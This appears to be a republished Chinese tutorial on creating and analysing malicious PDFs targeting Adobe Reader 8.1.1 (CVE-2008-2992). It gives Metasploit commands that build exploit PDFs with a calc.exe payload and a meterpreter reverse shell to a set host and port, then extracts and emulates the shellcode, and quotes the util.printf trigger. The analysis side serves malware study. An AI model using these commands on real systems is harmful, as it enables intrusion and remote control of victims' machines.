如何进行恶意PDF文档分析以及payload提取方法是什么

这篇文章将为大家详细讲解有关如何进行恶意PDF文档分析以及payload提取方法是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

成都创新互联公司专业为企业提供湖州网站建设、湖州做网站、湖州网站设计、湖州网站制作等企业网站建设、网页设计与制作、湖州企业网站模板建站服务,10余年湖州做网站经验,不只是建网站,更提供有价值的思路和整体网络服务。

Acrobat Reader是一个可阅读、搜索、打印几乎任何类型的PDF文件并与之交互的PDF查看程序。不夸张的说,几乎每个电脑用户都安装并使用过它。由于它的用户范围广泛且安全问题频出,因此它也成为了最容易被黑客利用的程序之一。通过度娘搜索“Acrobat Reader漏洞”那叫一个壮观,动不动就是高危,看得我都手痒痒了~~

我将向大家展示创建恶意PDF文档,触发并利用漏洞的完整过程。此外,我还将带大家深入分析恶意PDF文档,了解payload的存储方式以及提取方法。

PDF格式

PDF(便携式文件格式,Portable Document Format)是由Adobe在1993年用于文件交换所发展出的文件格式。

PDF主要由三项技术组成:衍生自PostScript;字型嵌入系统;资料压缩及传输系统。它的优点在於跨平台、能保留文件原有格式(Layout)、开放标准,能免版税(Royalty-free)自由开发PDF相容软体,是一个开放标准。以下是一个典型PDF文档的结构图。有关更多信息,请参阅Adobe规范。

如何进行恶意PDF文档分析以及payload提取方法是什么

恶意PDF创建

我们将使用metasploit来创建一个恶意伪造的PDF文档,其中将包含exploit以及我们自定义的payload。因为该漏洞利用是针对特定版本的,因此我们需要在目标机器上下载安装一个较早版本的Reader。

首先,我们来创建PDF。该PDF利用成功后会在目标机器上弹出计算器(calc.exe)。打开metasploit console并键入以下命令:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit

如下所示:

如何进行恶意PDF文档分析以及payload提取方法是什么

将刚创建的文件(/home/osboxes/.msf4/local/malicious.pdf)复制到共享驱动器上。

执行受感染PDF

在目标计算机上,下载并安装易受攻击的Adobe Reader版本(metasploit已经告诉我们版本应小于8.1.2)。我选择安装的是8.1.1版。

安装后,我们执行malicious.pdf文件。你应该会看到从Adobe Reader进程生成的计算器。漏洞成功被利用。

如何进行恶意PDF文档分析以及payload提取方法是什么

我准备了另一个恶意PDF,使用了不同的payload,如下:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455

结果如下,我们成功在Adobe Reader上建立了一个后门(反向shell)。

如何进行恶意PDF文档分析以及payload提取方法是什么

分析受感染PDF

现在,让我们来看看恶意PDF中的内容,并尝试提取其中的payload(我们仍然以calc.exe PDF为例)。

首先,我们需要用到一个名为PDF Stream Dumper的工具,下载并安装它。然后使用该工具加载我们的恶意PDF文档(请花些时间熟悉该工具的基本使用)。

如何进行恶意PDF文档分析以及payload提取方法是什么

我们先来使用菜单栏中的 “Exploit Scan” 选项来检测是否存在某些可利用漏洞:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

实际上,在stream 6中隐藏了一个可利用漏洞。

但是如果我们从头开始:在PDF中搜索漏洞时,我们大多数时候会遇到由Javascript代码创建的堆喷射( heap spray)。该堆喷射用于将payload推送至堆上,一旦漏洞被触发就可以执行。

如果你打开Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接着,我们打开stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

执行位于stream 6的Javascript。该流显示了纯Javascript,现在是时候打开“Javascript_UI”菜单了。可以看到这是一大串十六进制编码的字符,我们将其push到一个变量,以执行heap spray操作。以下是我们的payload:

如何进行恶意PDF文档分析以及payload提取方法是什么

我们选择payload(引号之间的部分),然后打开“Shellcode_analysis”菜单。选择“scDbg - LibEmu Emulation”。此时,会弹出一个新的窗口并将shellcode解码为字节(你甚至可以将其保存到文件中):

如何进行恶意PDF文档分析以及payload提取方法是什么

LibEmu是一个能够模拟处理器的库,它会告知你汇编代码的执行信息,单击“Launch”按钮,一看你就明白了:

如何进行恶意PDF文档分析以及payload提取方法是什么

在这里,我们可以清楚地看到shellcode会打开一个calc.exe窗口并退出。让我们另外一个恶意PDF(反向shell)也执行相同的分析:

如何进行恶意PDF文档分析以及payload提取方法是什么

可以看到,Shellcode正在加载操作套接字所需的库(ws2_32.dll),并尝试回连C&C。

这里我并没有展开谈论exploit本身,它位于javascript代码的末尾。它正在利用printf函数上的缓冲区溢出来执行任意代码。以下是我们的heap-sprayed shellcode:

util.printf("%45000.45000f", 0);

关于如何进行恶意PDF文档分析以及payload提取方法是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


分享标题:如何进行恶意PDF文档分析以及payload提取方法是什么
网页链接:http://myzitong.com/article/ghjhde.html